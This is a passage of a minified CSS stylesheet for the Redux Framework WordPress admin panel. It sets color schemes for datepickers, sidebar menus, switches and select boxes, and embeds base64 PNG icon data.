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) !important}.admin-color-fresh .ui-datepicker-header,.wp-customizer .ui-datepicker-header{background-color:#23282d !important;color:white !important}.admin-color-fresh .ui-datepicker td .ui-state-active,.wp-customizer .ui-datepicker td .ui-state-active{background-color:#007db9 !important;color:white !important}.admin-color-fresh .ui-datepicker td .ui-state-hover,.wp-customizer .ui-datepicker td .ui-state-hover{color:#007db9 !important}.admin-color-fresh .ui-datepicker td .ui-state-highlight,.wp-customizer .ui-datepicker td .ui-state-highlight{background:#0073aa !important;border:1px solid #23282d !important;color:white !important}.admin-color-fresh .redux-container-switch .cb-disable,.admin-color-fresh .redux-container-switch .cb-enable,.admin-color-fresh .ui-state-default,.admin-color-fresh .ui-widget-content .ui-state-default,.admin-color-fresh .ui-widget-header .ui-state-default,.wp-customizer .redux-container-switch .cb-disable,.wp-customizer .redux-container-switch .cb-enable,.wp-customizer .ui-state-default,.wp-customizer .ui-widget-content .ui-state-default,.wp-customizer .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-fresh .ui-datepicker td .ui-state-active,.wp-customizer .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-fresh .redux-container-switch .cb-disable.selected,.wp-customizer .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-fresh .redux-container-switch .cb-enable.selected,.admin-color-fresh .redux-field-container .ui-buttonset .ui-state-active,.wp-customizer .redux-container-switch .cb-enable.selected,.wp-customizer .redux-field-container .ui-buttonset .ui-state-active{background-color:#0073aa !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#008bce), to(#0073aa)) !important;background-image:-moz-linear-gradient(top, #008bce, #0073aa) !important;background-image:-ms-linear-gradient(top, #008bce, #0073aa) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #008bce), color-stop(100%, #0073aa)) !important;background-image:-webkit-linear-gradient(top, #008bce, #0073aa) !important;background-image:-o-linear-gradient(top, #008bce, #0073aa) !important;background-image:-linear-gradient(top, #008bce, #0073aa) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#008bce', endColorstr='#0073aa', GradientType=0) !important;border-color:#003f5e !important;border-color:#005177 !important;-webkit-box-shadow:inset 0 1px 0 #00a7f7,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #00a7f7,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-fresh #redux-header,.wp-customizer #redux-header{background:#23282d;border-color:#0073aa}.admin-color-fresh #redux-header .display_header span,.wp-customizer #redux-header .display_header span{color:#a0a5aa}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a:after,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-fresh .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-fresh .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild,.wp-customizer .redux-sidebar .redux-group-menu li.active,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-fresh .redux-sidebar .redux-group-menu li.active a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild a,.wp-customizer .redux-sidebar .redux-group-menu li.active a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild a{color:#23282d}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#1e8cbe;background:#0d0f10}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#0073aa}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#23282d}.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#a0a5aa;text-shadow:1px 1px #54595d}.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#23282d;text-shadow:none}.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#0073aa;text-shadow:1px 1px #002e44}.admin-color-fresh .redux-container-image_select .redux-image-select-selected img,.wp-customizer .redux-container-image_select .redux-image-select-selected img{border-color:#0073aa}.admin-color-fresh .redux-container-image_select .redux-image-select-selected .tiles,.wp-customizer .redux-container-image_select .redux-image-select-selected .tiles{border-color:#0073aa}.admin-color-fresh #redux-footer #redux-share a,.wp-customizer #redux-footer #redux-share a{color:#0073aa}.admin-color-fresh #redux-footer #redux-share a:hover,.wp-customizer #redux-footer #redux-share a:hover{color:#002e44}.admin-color-fresh .select2-results .select2-highlighted,.wp-customizer .select2-results .select2-highlighted{background:#0073aa}.admin-color-fresh .select2-drop-active,.admin-color-fresh .select2-container-multi.select2-container-active .select2-choices,.admin-color-fresh .select2-drop.select2-drop-above.select2-drop-active,.admin-color-fresh .select2-container-active .select2-choice,.admin-color-fresh .select2-container-active .select2-choices,.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choices,.wp-customizer .select2-drop-active,.wp-customizer .select2-container-multi.select2-container-active .select2-choices,.wp-customizer .select2-drop.select2-drop-above.select2-drop-active,.wp-customizer .select2-container-active .select2-choice,.wp-customizer .select2-container-active .select2-choices,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choice,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#0073aa}.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choices,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choice,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-fresh .noUi-connect,.wp-customizer .noUi-connect{background-color:#007db9 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#0096dd), to(#007db9)) !important;background-image:-moz-linear-gradient(top, #0096dd, #007db9) !important;background-image:-ms-linear-gradient(top, #0096dd, #007db9) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #0096dd), color-stop(100%, #007db9)) !important;background-image:-webkit-linear-gradient(top, #0096dd, #007db9) !important;background-image:-o-linear-gradient(top, #0096dd, #007db9) !important;background-image:-linear-gradient(top, #0096dd, #007db9) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0096dd', endColorstr='#007db9', GradientType=0) !important}.admin-color-light .button.ui-datepicker-current,.admin-color-light button.ui-datepicker-close{background-color:#04b0db !important}.admin-color-light .ui-datepicker-buttonpane button.ui-datepicker-current{background:#0384a4 !important;color:white !important;border:1px solid #013340 !important}.admin-color-light .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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